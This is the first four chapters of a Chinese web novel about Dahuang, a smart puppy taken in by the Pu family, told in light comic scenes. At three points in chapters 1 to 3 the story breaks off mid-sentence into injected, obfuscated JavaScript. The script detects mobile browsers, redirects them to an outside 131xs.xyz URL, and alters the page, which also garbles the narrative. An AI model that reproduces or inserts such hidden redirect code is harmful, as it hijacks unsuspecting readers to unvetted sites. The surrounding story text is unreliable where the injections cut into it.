《狗生》 1. 分岁 分岁的爆竹响起第一声的时候大黄抖了抖耳朵换了个声音小点儿的地方继续趴着。有意识以来已经四个月，他依旧没思索明白这狗生。 88发的爆竹放完后狗妈从厨房里奔了出来，嘴里叼着一根猪肉骨，身后跟着大黄狗生的两位小姐妹。这一胎狗妈生了五只，有两只没能熬过前三月夭折，还剩下两位姐妹在，初生时一窝的小黑犬，转眼四个月过去，小黑犬们越长越不相似。 大黄狗生的两位姐妹，一只黑黄斑，一只黄白斑，而大黄则长成了非常传统的田园犬色。其实大黄很好奇他狗爹到底长啥样，狗妈明明是只田园大黄狗，为什么养活的三条狗每条都不太一样，如他，看起来就是传统大土狗，腿长腰细身材倍儿棒，再如他狗生小姐妹，黑黄的是长腿黑短毛，铁包金高立耳，黄白的则长腿垂耳，黄狗白面但又杂着几撮小黑毛。 四个月的小狗正是活泼好动的时候，什么东西都想嗅一嗅咬一咬。狗妈趴到了桌子底下啃骨头，两只小狗在狗妈身旁拱来拱去，拱了一会儿又找上了大黄，抬爪子往他身上扑。 大黄生来就比他两位小姐妹大一圈，长得也快，这会儿一爪子一个推开，龇牙咧嘴地恐吓。可惜恐吓无用，以为在玩，两只小狗蹦跶了一圈又跑回来拱他。大黄咧了咧牙，用鼻子顶开两只小狗，抖抖毛他往沙发上一蹦，找了个舒服的地继续趴着。 这里是莲花村，位于江南某小镇，大黄所在的这户人家姓蒲，三层的农村小洋房住着老爷子、老太太和他们的小儿子。 老人家共两个儿子，未婚的小儿子派出所里值班，大年三十只有大儿子一家四口来吃团圆饭。偌大的客厅里摆上了圆桌，蒲老太太和蒲妈正在收拾碗筷，蒲老爷子和蒲爸坐在沙发上走象棋，看蒲老爷子那愁眉苦脸的思索样，似乎是情况不利。 上小学的蒲佳逸蹲在桌子旁观察狗妈啃骨头，才3岁的蒲梓涵则乖乖地坐在她的儿童椅上看电视。电视里正放着中央一套，红彤彤的界面不断地翻滚着“XXX集团给全国人民拜年了！”的字幕，此时距春节联欢晚会还有三分钟。 春晚第一个节目开始的时候蒲家人纷纷坐到了沙发前，看见占据了沙发一角的大黄，蒲老太太还觉得有趣撸了他一把，大黄抬了抬眼皮，耳朵晃晃没动，然而下一秒，他就被蒲佳逸抓了尾巴。 熊孩子！大黄龇牙，拿爪子拍下熊孩子的手将尾巴往自个儿屁股底下一藏，蹦到了蒲老太太身旁看春晚。他自认也是这家的一份子，看电视必得学着人的样要上沙发，蒲老太太赶他过几次，架不住大黄耍赖皮，赶不了只能纵着这小狗，也亏得这小狗讲究，从来乖巧不乱蹿乱爬，蒲老太太便也由着他去了。 只是人的节目对大黄而言有点无聊，他打了个哈欠蹭蹭温暖的沙发睡了。 第二天难得睡到自然醒，农村里噼里啪啦的爆竹烟花似乎被他屏蔽在听觉外。狗的听觉是人的十六倍，这几日晚上烟花爆竹不断，大黄感觉自己好久没睡过一个完整觉。 醒来的时候发现自己回到了狗窝，想想也是，蒲老爷子和老太太可不是宠宠物当儿子女儿的爱心人士，农村里么，狗都是看家护院的，想到自个儿未来生涯要住狗窝吃剩菜，要看家护院捉老鼠捉小偷，大黄整只都丧起来。 他生来就聪明，学着人的样学了几个月大黄已经懂不少，他正要不要考虑一下离家出走给自己找个高级饭票？不过想到隔壁邻居说起的狗贩子狗拐子，大黄越发丧。 哎，世道不济，狗生艰难。 院子里蒲佳逸正在放鞭炮，村头小卖部买的那种小鞭炮，点了火往地上一丢就一声炸，熊孩子特皮痒，见着有狗专门往狗身边丢，见狗惊慌失措往远处蹦的模样还哈哈大笑。两只小狗最好奇被吓了好几次，结果下一次又记吃不记打地嗅熊孩子放在地上小鞭炮。 作为狗生姐弟，大黄觉得自个儿还是有点良心的，奔过去一脚一个踹开俩小狗，逮着机会他冲着熊孩子膝盖窝里一顶，顶得熊孩子往前一跪，迎面和地面来了个亲吻。院子里的水泥地硬，蒲佳逸的额头磕到地上一下子就蹭起了皮，觉得头上火辣辣地疼，熊孩子“哇”地一声哭出来。 这时候蒲老太太正在厨房，听到孙子哇哇大哭拿着把菜刀就奔了出来，一见孙子跌倒赶紧将人扶起，嘴里叫着“宝宝囡囡”替他揉了揉额头吹了两口气，一边呼唤着老爷子去拿牙膏。 农村里觉得牙膏能清热解毒，也不顾蒲妈的说法，挤着牙膏就往蒲佳逸头上抹。有父母奶奶围在身旁，蒲佳逸一抽一噎地止了哭，手一指蹲在洗衣台上的大黄，熊孩子一脸委屈的告状，不料迎来四位家长哭笑不得的表情。 才咪咪大的小狗把你顶倒了？小狗有那么大力气吗？深富常识的四位大人觉得这是小孩子推脱责任，为此蒲爸开启教育模式和蒲妈来了一场男女混合唱。而深藏功与名的大黄抬抬眼皮子冲熊孩子送上了一个咧嘴笑。 一抽一噎的蒲佳逸被吓得又一次“哇”地哭出来，然后他挨了一顿骂。 “大年初一哭什么哭？丧不丧气？”蒲老太太回了厨房，没有了疼爱孙子的奶奶，蒲妈脸一板给了儿子又一顿狂风暴雨，熊孩子蒲佳逸整个儿都郁闷了，他才不是骗子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831075|175569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那条小黄狗就是这么坏！一脸委屈地冲大黄瞪瞪瞪，不料小黄狗晃着尾巴老神老在地眯眼睛压根就不理他，被忽略的熊孩子越发委屈。 被教训了一顿熊孩子安分不少时间，然而等到下午，蒲佳逸又耐不住开始来找麻烦。 在大黄占据的洗衣台周围他放了一圈的爆竹，点引线的绳子一个连着一个，仿佛仪式般，熊孩子念叨着他自创的“麻利麻利哔哩哔哩”咒语，摆出各种中二造型，在大黄一脸“看智障”的眼神中，蒲佳逸满脸郑重地点燃了第一个鞭炮。 噼里啪啦一阵响，在烟雾环绕中，大黄淡定地捂住了自个儿的耳朵。等到烟雾散去，看见洗衣台上一脸淡定捂耳朵的小黄狗，蒲佳逸张大嘴震惊了，他觉得这是一条成精的狗。然后他决定要将“黄色超人”带回家。 大黄多了一个新名字，黄色超人，熊孩子蒲佳逸取的，中二羞耻还很容易污，大黄本人拒不承认。不过在熊孩子吵着闹着要养狗时，大黄权衡了一下利弊，觉得自个儿委曲求全地配合一下还是有发展前途的。 蒲佳逸一家住在市里，知雁市，一个十八线的小城市，不过就算是个十八线小城市，生活环境对比这个村口只有一家小卖部的小村庄不知方便多少，就算现在是一条狗他也要追求生活质量，权衡之后小黄狗很乖顺地蹲在了蒲佳逸脚边眨巴眨巴着湿漉漉的大眼睛冲着蒲妈摇尾巴。 要可爱，要卖萌，大黄深谙攻心之道，在儿子和萌狗的双重配合下，蒲妈果真是第一个松了口。 “行，养是可以养，不过你要自己照顾小狗，”蒲妈一松口，蒲佳逸欢呼得蹦起来，就差抱着大黄亲一口，不过被大黄一脚踩到了鞋上，在蒲佳逸一声“嗷呜”中，大黄晃晃耳朵优雅地走开。在熊孩子控诉着他被狗踩了一脚时，大黄深藏功与名。他自诩是一条帅气无敌力大无穷的厉害狗，怎么会跟熊孩子一般见识。 蒲家在晚饭后告别了两位老人回了市里，蒲爸开了一辆灰色大众，新买的车噌噌发亮。车门一开，大黄就非常自觉地跳上副驾驶座一本正经的蹲坐在上，然后他就被蒲风春抓着后颈丢到了车毯上。 “这狗子太精，是条当老大的狗！”派出所值班回来睡了一下午的蒲风春嬉笑了声，毫不客气地将蒲老太太晾晒的咸菜萝卜往小黄狗身边堆。从一堆弥漫着腌制品味的塑料袋中钻出身，大黄锲而不舍地往副驾驶上爬，然而第二次，他被蒲爸丢到后座。 “狗脏，别让它爬椅子上。” 被嫌弃的大黄默默地默默地张嘴哈气，在看不见的地方暗戳戳地给蒲爸的车椅啃了几个洞。 2. 厕所 蒲家住在城南的复兴新村。这是个建造于千禧年的小区，开放式小区四通发达，然而此时各条道路早已被琳琅满目的汽车占满。 蒲爸的灰色大众慢慢腾腾地在狭窄的道路上挪移，两边都停满了车，还是新手的蒲爸开得十分小心。 这两年经济发展飞快，邻里邻居买车的人不少，等到春节时期的车位越发地少，回家的来做客的，道路两旁早已被各种车辆占满，蒲爸挪移了好一圈才找到个狭窄的车位，还是蒲妈下车看着周边才艰难地停好。 等车停好蒲爸松了口气，随口抱怨着过年期间小区的停车问题，拎着两大袋子酱瓜咸菜率先上了楼。 蒲家在一幢四楼，阳台朝南正对留雁河，河的对面是正在建造的高层大厦，暗蓝的天幕之下几十米高的吊塔现出了模糊的影，好似的通天的一根柱，连接了天上地下。 回到家时已然过了十点，蒲梓涵早已在车中睡着，蒲妈和蒲爸洗洗就打算睡，只有蒲佳逸刚得了“黄色超人”一脸兴奋，不过很快他就被蒲妈拍了回去。 蒲妈板起脸来十分威严，蒲佳逸嘟囔了声没敢争议，想和小狗一起睡的建议也胎死腹中，在蒲妈的押解下他只得乖乖地洗脸刷牙。蒲妈给大黄准备了一件破棉衣，怕狗身上脏，她还给大黄洗了个澡。 蒲妈其实也没养过狗，不过倒是知道几个月大的小狗挺难养活，怕小狗冷她准备了小盆子开了浴霸摆了暖风机，可让大黄好好地享受了一把温泉待遇。 蒲妈一开始怕小狗挣扎特地全副武装地穿了雨衣，不料大黄太配合，那享受的态度实在太明显，反而让蒲妈郁闷了。 小狗配合洗澡省事固然好，然而他们家这狗这一脸享受的表情咋衬得她像个伺候老爷的丫鬟呢？看这狗熟练地抬腿抬爪，蒲妈简直怀疑这条狗成精之前是不是哪座山里的狗大王。 “狗聪明好呀，”听蒲妈吐槽他们家狗，蒲爸还道他们运气好挑了条聪明狗，然后他看到潮着毛的小黄狗拖着吹风机哒哒跑进来，老爷般地在他面前一蹲，狗爪子拍拍吹风机示意他们赶紧伺候。 蒲爸：“……”这狗好像聪明过头了？拿着吹风机给狗吹毛的蒲爸晕晕乎乎地想，他用不用报个警说他们家有条成精的狗？ “狗的智商相当于人六七岁，”看着网上搜到的信息，再看将破棉衣拖到房间里给自己找了个温暖的地方做了个温暖的窝的小黄狗，蒲爸自我安慰道，他们家大概真的只是运道好挑了只特别聪明的狗。 第二天蒲妈去超市买了好些宠物用品，现在的超市里都有专门的宠物区，从狗窝到狗粮应有尽有，蒲妈大手一挥买买买，大包小包地带回家还一脸遗憾地表示超市里的用品不如专门的宠物商店齐全，这态度转变看得蒲爸特惊奇，吵着闹着要养狗的不是你儿子吗？你咋比你儿子还兴奋？ “后边一幢梅丽家的狗儿子知道吧？老炫耀着她家球球聪明，我看我们家大黄可比她那几百块钱的贵宾犬聪明多了,”蒲妈抖着一件小衣向大黄招手：“大黄，来来，试试这件小衣服！” 大过年，蒲妈给大黄买了件大红的小背心，穿身上其实有点紧，不过大黄乐得蹦跶，他觉得他总算告别了裸奔时代，虽然他的狗屁股依旧在裸奔。 除了小衣服还有给小狗玩的假骨头和各种狗粮，玩具骨头大黄不屑一顾，狗粮倒是好奇尝了几口，味道还可以，大黄当零食尝，到了大中午他依旧蹲在了灶台前。 大黄知道自己和普通狗大不一样，比如说他那神奇无比的大力，还在莲花村的时候他就偷偷摸摸试过，能推动的缸里用来压腌菜的大石头，简直跟小少年有的一拼，又比如说普通狗眼睛里只有黑白灰三色，他的眼里依旧是个彩色世界，他还试过说话，不过这太过神异造物主显然没给他外挂，至多学猫叫两声，然后把他那狗妈吓得蹦上了墙。 从此之后大黄就没叫过。 到了蒲家有两天，发现大黄从来不叫蒲爸一度怀疑这是一条哑巴狗，他特闲地拿着瓜子花生逗狗。一开始大黄还装模作样地晃晃尾巴骗几个瓜子花生尝尝，到后来次数多了他也无聊，扭着头不打算理蒲爸。 奈何蒲爸很有坚持不懈的精神，一人一狗绷着劲，一个要让狗叫一只偏不叫，如此两天，大黄真心被蒲爸弄烦躁了，这天晚他“嗷”了半宿，生生“嗷”得蒲爸夜半惊魂。 “大城市的哪来的狼？！”被狼叫惊醒，蒲爸一声嘟囔一睁眼就见双绿眼睛直直地瞪着他，“哇”地一声蒲爸吓得从床上蹦起来。 “怎么了？！”同样被狼叫惊醒的蒲妈匆忙开灯，结果一开灯就见他们家大黄正蹲坐在床头柜上，对着蒲爸又是一声狼嚎。 蒲爸：“……”他家养的真的是狗？ 大黄真嚎了半宿，眼看着对面楼的灯全亮了，蒲爸的态度已经从“我知道你会叫大晚上的能少嗷两声吗？”到“狗祖宗，随你乐意吧！”，那一脸无奈看得蒲妈心生同情，再看他们家女儿“咿咿呀呀”手舞足蹈地笑，蒲妈倒是笑了，抱起蒲梓涵抓着女儿的小手逗了逗小黄狗。 大黄很给面子地伸出狗爪子摸摸蒲梓涵的小手。 “算了算了，难得涵涵今晚没哭还那么高兴！”蒲妈安慰蒲爸，推了推蒲爸让他塞个耳塞再睡一觉。 想到这几天晚上不是被女儿吵醒就是被狗吵醒，蒲爸那脸越发地郁闷，摸摸蒲梓涵的头又撸了把狗毛表示“一个小祖宗一个狗祖宗，他惹不起”，起身洗了把脸他给蒲梓涵泡奶粉去了。 大黄的狗爪子碰碰蒲梓涵的小肉手，他龇了龇牙笑。看见小孩半夜醒来他逗小孩呢，看，小朋友不正笑得开心么？ 第二天一早，出门倒垃圾的蒲爸听见小区居民们对昨晚的狼叫议论纷纷，他装傻呵呵呵。至于蒲佳逸，小孩儿睡太熟了啥都没听见。 “这狗是不是太聪明了？”这天被大黄盯着上厕所的蒲爸忍不住问出了声，他发现他家的狗当真是聪明，聪明得有些灵异。 小狗最怕它乱撒欢乱咬乱泄，不过他家这狗一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831076|175569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿这毛病都没有，反而喜欢盯着人上厕所。一开始是蒲佳逸，然后是他。 家里的卫生间，蒲爸关门随意只是撩了一下没关上，他正上大号呢，就见厕所门开了一条缝，底下一只狗头猥猥琐琐地正盯着他看，吓得蒲爸手里的故事会都掉到了地上。 “大黄！”蒲爸一言难尽地抬了一下脚作个踢的样，大黄非常聪明地跑掉了。 然后这次之后有了第二次第三次……某天蒲佳逸正抬着屁股擦呢，一抬头就见他家大黄暗搓搓地蹲在了门口，隔着条门缝盯着他看…… 蒲佳逸：“啊啊啊啊！！！！” “逸逸？怎么了？”厨房里的蒲妈问了一声，就见她儿子裤子还没穿好抓着裤腰追着大黄跑。 “妈！！！大黄又盯着人上厕所！！！”蒲佳逸一脸崩溃地告状。 “你关门了吗？”蒲爸正看电视，磕着瓜子问。 “关了！肯定是大黄自己开的门！！！”蒲佳逸气愤。 “大黄才几个月？你肯定是自己忘记关门了，”蒲爸磕着瓜子笑：“这小狗没啥毛病，就喜欢盯着人上厕所，都叫你们上厕所别忘了关门了……” “它好像就盯你们爷俩，”蒲妈幽幽加了一句，又问蒲佳逸冲马桶了没。 蒲佳逸：“……”他重新穿好裤子，默默地把马桶冲了。 而大黄，乖巧地蹦上沙发蹲在蒲爸身边，讨好地“呜呜”两声，获得瓜子一把。 “诶呦！我家大黄连嗑瓜子都会！”看蒲爸高兴地跟蒲妈炫耀，一边还拿出诺基亚给嗑瓜子的大黄拍照，大黄非常配合地咧嘴摆姿势，乐得蒲爸直拍大腿。 可大黄盯着人上厕所的毛病依旧没改，搞得最近蒲佳逸和蒲爸上厕所特别紧张，时不时地往门外看一眼，生怕小狗又开始蹲在门口盯。 不过没几天大黄已经没兴趣盯着他们上厕所了，他学会了！ 蒲家是老式的卫生间构造，马桶旁是洗手池，水池旁就是浴缸。大黄还是只几个月的小狗，腿不够长，上厕所先蹦上浴缸边再蹦上洗手池，从洗手池跳到马桶后盖上，用爪子掀下马桶垫，跳到马桶垫上上完厕所它还会冲水，冲完水它还得洗手，跳回洗手池洗完手他要擦爪子。最开始几次大黄是呜呜地叫着等着人来伺候，后来蒲妈给它在洗手台前的镜子旁挂了条毛巾，它就自己擦，擦完跳回来。 每次看大黄上厕所蒲爸就觉得挺有趣，然而后来，大黄学会了上厕所掩门。第一次看见大黄上厕所用后腿掩门的蒲爸表情一言难尽。 不过这么上厕所也有个问题，如果没跳准，一不小心就直接跳马桶里了。某天大黄不小心脚滑了一下来了场马桶跳水，马桶深，他爬不出来，不得不嚎两声请人来救——蒲爸把大黄捞起来的时候都感觉这狗浑身都有味。 虽说马桶冲过了是干净的，但总有种心理作用。 而浦佳逸更好，嘎嘎笑得欢，又给大黄娶了新绰号叫“马桶超人”！ 大黄：“……” 3. 香香 马桶跳水之后蒲爸给大黄洗了三次，总算觉得心里好过了些。 也别说蒲爸了，大黄自个儿心里都觉得接受不了，到现在他抬着后爪嗅一嗅都会呕吐，他觉得自个儿的后爪脏了！ “行了行了，是冲过的马桶，水干净的！”蒲爸洗狗洗得汗流浃背还得安慰他家这只洁癖狗：“别闻了，我给你喷点花露水，是香香的！” 蒲爸说着就给大黄的两只后爪抹上了花露水，然而花露水太香，大黄那狗鼻子受不了，打嚏不停，只得一脸遗憾地看着香香被冲掉。 “花露水不行，我给你抹点其他的，乖嗷，咱们悄悄地，不能让你妈知道，”蒲爸悄咪咪地带狗进了卧室，看蒲妈在厨房忙活，他虚掩上了门，在蒲妈的化妆桌上摸了一瓶玉兰油的乳液给大黄抹上了。 这款乳液对人来说只有凑近了闻才有很淡的味道，对大黄来说刚刚好，他可喜欢啦，涂了香香屁颠屁颠地跑蒲佳逸房间里去。 蒲佳逸这会儿正做寒假作业，大黄拍拍他，伸出只后爪凑他鼻子下边非要他闻，知道大黄的后爪刚刚陷入过马桶，蒲佳逸一脸嫌弃地拍开了。然而大黄不依不饶，一腿子直接贴蒲佳逸嘴巴上了…… 蒲佳逸：“！！！”呕~ 大黄：“……”再次被蒲佳逸拍开，他忧伤地爬到了蒲佳逸的床上，伤心地打了个滚。 “啊啊啊啊！！！！”蒲家再一次响起蒲佳逸崩溃的尖叫，他又开始告状：“妈！！！大黄在我床上打滚！！！它刚刚才钻过马桶！！！” “没事没事，我刚给大黄洗干净了，还抹了香香，”蒲爸才刚泡好茶坐下，听到儿子喊，去看了一眼，连忙安抚。 “它刚刚钻过马桶！”蒲佳逸接受不了，仿佛自己心爱的奥特曼床单也染上了马桶味。 “你不是前几天还说想跟大黄一起睡吗？”蒲妈刚在炒菜，手里握着炒勺就过来了。 “它刚刚钻过马桶！”蒲佳逸什么都不肯听，他就重复一句，大黄刚刚钻过马桶！ “行了行了，你先做作业，下午我帮你把床单换了！”蒲应付了小孩，又把大黄提出房间，她继续炒菜去了。 被蒲妈提出房间，大黄张嘴刚要骂骂咧咧，忽然想起这位是给饭的妈，他讨好地晃晃尾巴，绕着蒲妈转了两圈，趴自个儿饭盆前了——饭盆是蒲妈前两天在超市买的，是粉色印着白色蝴蝶结小狗的塑料盘，和蒲梓涵的饭盆一样好看，大黄可喜欢了。一到饭点他就自觉地蹲在盆前等着蒲妈盛饭，比蒲佳逸还自觉。 “梅丽说狗不能吃咸的，我们家大黄这么吃会不会有事？”蒲妈给大黄盛了勺饭拣了两块红烧肉又倒了点肉汤，盛完才考虑狗能不能吃盐的问题：“她说她家球球都是吃进口狗粮，还有冻干和磨牙棒，我们要不也给大黄买点？” “我们不也买了狗粮吗？大黄不吃，”看大黄吭哧吭哧吃得飞快，蒲爸啧啧摇头：“我们家大黄土生土长的本地狗，啥都吃，身体棒，好养，她家那只是国外来的外宾狗，水土不服，吃啥都能出毛病，跟她比啥呦！” 想想后边一幢梅丽在她家狗儿子上的花费，蒲妈点点头：“那倒也是，她家球球三天两头地上医院，三百块的狗身价直涨三千，这可太费钱了！” “说起来她家是不是在河对面买了房子？”一说起钱的事，蒲爸兴趣盎然地八卦：“听说老胡去年赚了大钱，在对面翠湖花苑买了套房子！”翠湖花苑是河对面开发区新在建的小区，开盘就6000一平的，是知雁市最贵的楼盘。 “老胡不是当驾校教练的吗？”蒲妈虽然经常和梅丽一起逛街，但家庭妇女间的话题也多是婆媳儿女这种家长里短，她还真不知道胡家去年赚了大钱的事。 “是股市，去年股票大涨，老胡赚了十几万，”蒲爸听着都心动了：“你说我要不要也去股市开个户？” “股票风险大吧，听说好些人都亏了，”蒲妈胆小，觉得他们家还是安稳赚钱更好。 “不多投，先试试水，老胡说最近的股市都是大牛市，投钱谁都能赚，”蒲爸心动不已，决定下午就去开户。 大人们闲聊了一通，小孩子们专心干饭，至于大黄，本来专心干饭，听蒲爸说要出门，他耳朵一尖立起来了。来蒲家小半个月，大黄已经熟悉了，他现在要探索新的世界。 于是这天吃完饭，大黄就开始狗狗祟祟地盯着蒲爸。蒲爸啥都不知道，吃完饭看了会儿电视还睡了个午觉，等一觉睡醒2点多了，这才拿了身份证和车钥匙打算去证劵营业厅开户。 大黄就等着蒲爸开门，门一开，他呲溜一下跟出去了，等到蒲爸下了楼，才发现身后跟着条黄尾巴。 “大黄怎么下来了？去去去！”蒲爸本打算把狗赶回去，谁料小狗比他还认路，熟门熟路地找到车，狗爪子拍拍示意他赶紧开门。 蒲爸：“……”他家这狗果然是成精了的吧？ 这一次大黄终于有幸体验一把副驾驶，上车前蒲爸还给他擦了擦爪子。知雁市的证劵营业厅前两年刚搬到开发区，蒲爸车开过去二十多分钟，大黄就趴在车窗上看风景，他还是第一次看城市，看得兴致盎然，就是看着看着路上遇交警了。 还没出正月，交警查酒驾查得频繁，跨江大桥前边一段路交警设了卡，蒲爸就这么被拦下了。交警同志手里拿着测验仪敲了敲窗，本来想查个酒驾看有没有系安全带，谁料窗一开探出来一个狗头，大黄和交警同志面面相觑了会儿，各自懵。 “副驾驶要系安全带，”交警同志憋了半响憋出一句，提醒蒲爸：“就算是狗也要系安全带……” 刚刚吹完酒精测试仪的蒲爸：“……”他无言地凑过身给大黄系上了安全带，然后交警同志们放他们走了。 等车开上了跨江大桥蒲爸还琢磨着这事儿呢，总感觉哪里不对劲，又说不出哪里不对劲，就这么琢磨着琢磨着到了地方。蒲爸下车，大黄也跟着下了车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831077|175569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，屁颠屁颠地进了门。 新建的中信证劵装修得十分豪华，他们有一整幢大楼，上下五层，上三层是办公室，下边两层是营业厅，营业厅中空几根包柱支起数米的层高，因为前两年股市大兴，这会儿开户的客户不少，人来来往往还挺热闹。 蒲爸往开户区排队去了，大黄初到外边还有点慌，没敢乱跑，亦步亦趋地跟着蒲爸，这会儿排队的人不少，有人夸大黄聪明很乖，大黄翘着尾巴嘚瑟，可惜没嘚瑟多久，因为被其他人投诉营业厅有狗，他被保安师傅抱出门外去了，被抱出去之前蒲爸心大地跟他挥挥手让他在门口等着。 “你家的狗？这狗乖咧？”保安师傅动手前问了一句。 “大黄聪明的，乖乖在门口等我，”快轮到蒲爸了，他跟大黄说了一句忙着开户去了。 大黄被保安师傅抱怀里骂骂咧咧，然而他那狗语尚不熟练，又嚎又喵的，听得保安师傅笑嘻嘻。 “你家的狗咋叫得怪模怪样，”保安师傅跟蒲爸说：“这狗我们给你看着，不会丢。”保安师傅把大黄抱到了门外，他还拿了根王中王香肠喂大黄。 大黄收回了骂骂咧咧，咬着香肠他发现保安师傅是好人，嗯，真香！ 蒲爸在里边开户开了一个多小时，大黄在门口打滚打了一个多小时，都快混成看门狗了，这么会儿功夫他还吃了三顿，有保安师傅喂的香肠，路人喂的鸡柳和羊肉串，还有隔壁水果店老板娘喂的苹果。 蒲爸一出门就见他家大黄美滋滋地啃苹果，他抬脚滑了滑他肚子：“你咋这么能吃呢？”听说这苹果是隔壁水果店老板娘喂的，蒲爸还特地跑隔壁水果店买了箱苹果和橘子，顺便谢谢老板娘投喂他家大黄。 老板娘做了单生意笑得合不拢嘴，还夸大黄聪明乖巧，问大黄几个月大，哪儿买的，这么聪明的狗她也想要一只。 “四个月大，就农村土狗，家里自己生的，”蒲爸和老板娘聊了两句，顺便帮大黄小姐妹也找了个家。 “那说定了，我明天给你送来，你挑只喜欢的，”蒲爸在外挺能聊，看老板娘真心喜欢狗和老板娘留了个电话说明天给她送狗来，等上了车，蒲爸拍拍大黄狗头先夸他今天很乖，又叫他出门在外别乱吃东西。 “现在狗贩子狗拐子可多了，你这小身板被人拐了去都是送狗肉厂里做狗肉，”蒲爸一顿说，吓得大黄瑟瑟发抖，直到家还耷拉着耳朵一副小心翼翼模样。 “大黄这怎么了？”看大黄一副被教训了一顿的模样，蒲妈问了一声。 “今天乱吃东西，刚被我说了一顿，”蒲爸笑，跟蒲妈说他给小狗找了个主人：“爸妈前阵子刚说家里狗多了要送出去，我看那老板娘挺喜欢狗的，明天给她送一只。” “你这嘴挺厉害呀，”蒲妈飞眼打趣蒲爸，两人又说了会儿夫妻话，就是大黄被吓到了，好几天都是一副耷拉模样，直等到出了正月，蒲爸上班去了，他那胆子才重新大起来。 4. 闹鬼 蒲爸在上海搞建筑。 莲花村不少人搞建筑起家，兄带弟，父带子，一家一家地去上海，出了个包工头，又带出去一批同村人，时间一长，甚至做出了产业。 蒲爸就是跟着他二叔出去的，他二叔在上海当小包工头，蒲爸在他二叔手下混了个项目经理的位置，除了工地苦了点儿，一年赚个十来万不成问题，要是碰上好项目，工资能上二十万。 这年头的十来万还挺值钱的。 生了梓涵后蒲妈没上班，靠着蒲爸一人养家也绰绰有余，就是在家里呆久了，蒲妈带小孩干家务干得有些烦，想着等出了年送了两小孩上学去，她也去找个工作。 “咱们家我一个赚钱也够用，还上什么班？”蒲爸回上海前和蒲妈商量家里的事，他心道蒲妈在家带小孩多轻松，干嘛还上班。 你个十指不沾阳春水的晓得什么叫带小孩干家务吗？蒲妈翻了个白眼，拍了把蒲爸，告诉他她以前厂里的老板招她回去上班。 “厂里现在的会计是个小年轻做不清账，我们老厂长叫我了，我想想梓涵也大了，正好过完年送学前班，我回去上班。” “那小孩接送怎么办？”蒲爸还记得小孩要接送的事呢。 “逸逸大了，上下学他自个儿能走，学校也近，梓涵的话……一楼的奔奔比我们家梓涵大二岁也在读幼儿园，到时候让楼下黄老嬷帮忙接送一下，每个月给点钱……”蒲妈早就考虑好了。 “也行吧，你安排好就行！”家里的事蒲爸不管账，看蒲妈安排好了，他啥也没没说。 于是过完年，蒲家上班的上班，上学的上学，大家各有忙碌，留个大黄在家独当大王。 第一次当家大黄特兴奋，家里撒欢地跑，从这头跑到那头，跑了好几圈，饭点到了，大黄跑去他的专用用饭点，然而一看这一盆的狗粮，他耷拉着脑袋扒拉了两下，不高兴地趴下了——蒲妈不在，没人做饭。 下午的时候大黄越发无聊了，以前还有蒲爸逗他，蒲佳逸陪他玩，这会儿没人，大黄无所事事。他学着人的样打开电视，电视里在放《大明王朝》，蒲家老太太老爷子很喜欢的一个剧，可惜人的剧大黄看不懂，他爪子按过遥控器，翻到了中央7台，上边正在放《动物世界》。 《动物世界》正在讲狮子的故事，大黄看得津津有味，可惜动物剧太短了，放完动物电视里开始讲如何种水稻，大黄不感兴趣地按掉了电视。 蒲佳逸回家的时候大黄刚刚睡了一觉，一看他回家，兴奋地扑上去摇尾巴。 “蒲佳逸，这是你家黄色超人？”蒲佳逸带了朋友回来看小狗，看见大黄，两个小朋友围上来伸着手想摸。 蒲佳逸的两个好朋友，一个胖子叫郝杰，一个小个儿叫张浩琪，看见大黄非常感兴趣，就是小朋友手没轻没重，大黄被揪了一把毛，不高兴地踩了小胖子一脚，在郝杰的“嗷嗷”声中他挣脱了小朋友的包围圈，远远地躲在了沙发后。 “你家黄色超人怎么踩人啊！”郝杰皱着脸控诉。 “肯定是你下手重了！”蒲佳逸才不容着他，他不高兴地拍掉郝杰的手：“我爸说我家的狗鬼精，他可聪明了！” “我就是想摸摸！”郝杰理亏地小声说。 “我看见你揪毛了，”张浩琪毫不客气拆台，招着手招大黄过去：“嘬嘬！黄色超人，过来过来！”他还拿出了零食，神雕侠侣牌的辣串，学校门口买的，他可喜欢了，可惜蒲佳逸和郝杰都不吃辣，小伙伴之间都没得分享。 嘬嘬！你喂鸡呢！大黄以前在莲花村看到过隔壁梁老太太就这么喂鸡，他本来不想过去，不过看到张浩琪拿出了食物，大黄又屁颠屁颠地跑过去了，中午吃了一堆狗粮，嘴巴里没味，他想尝点好的。 蒲家都是知雁市本地人，从来不吃辣，大黄自然没尝过辣条，一口下去，辣得灵魂升天，他狗爪子一蹦一蹦，跟跳舞似地，看得三个小朋友莫名其妙。 “你家黄色超人怎么了？”张浩琪问。 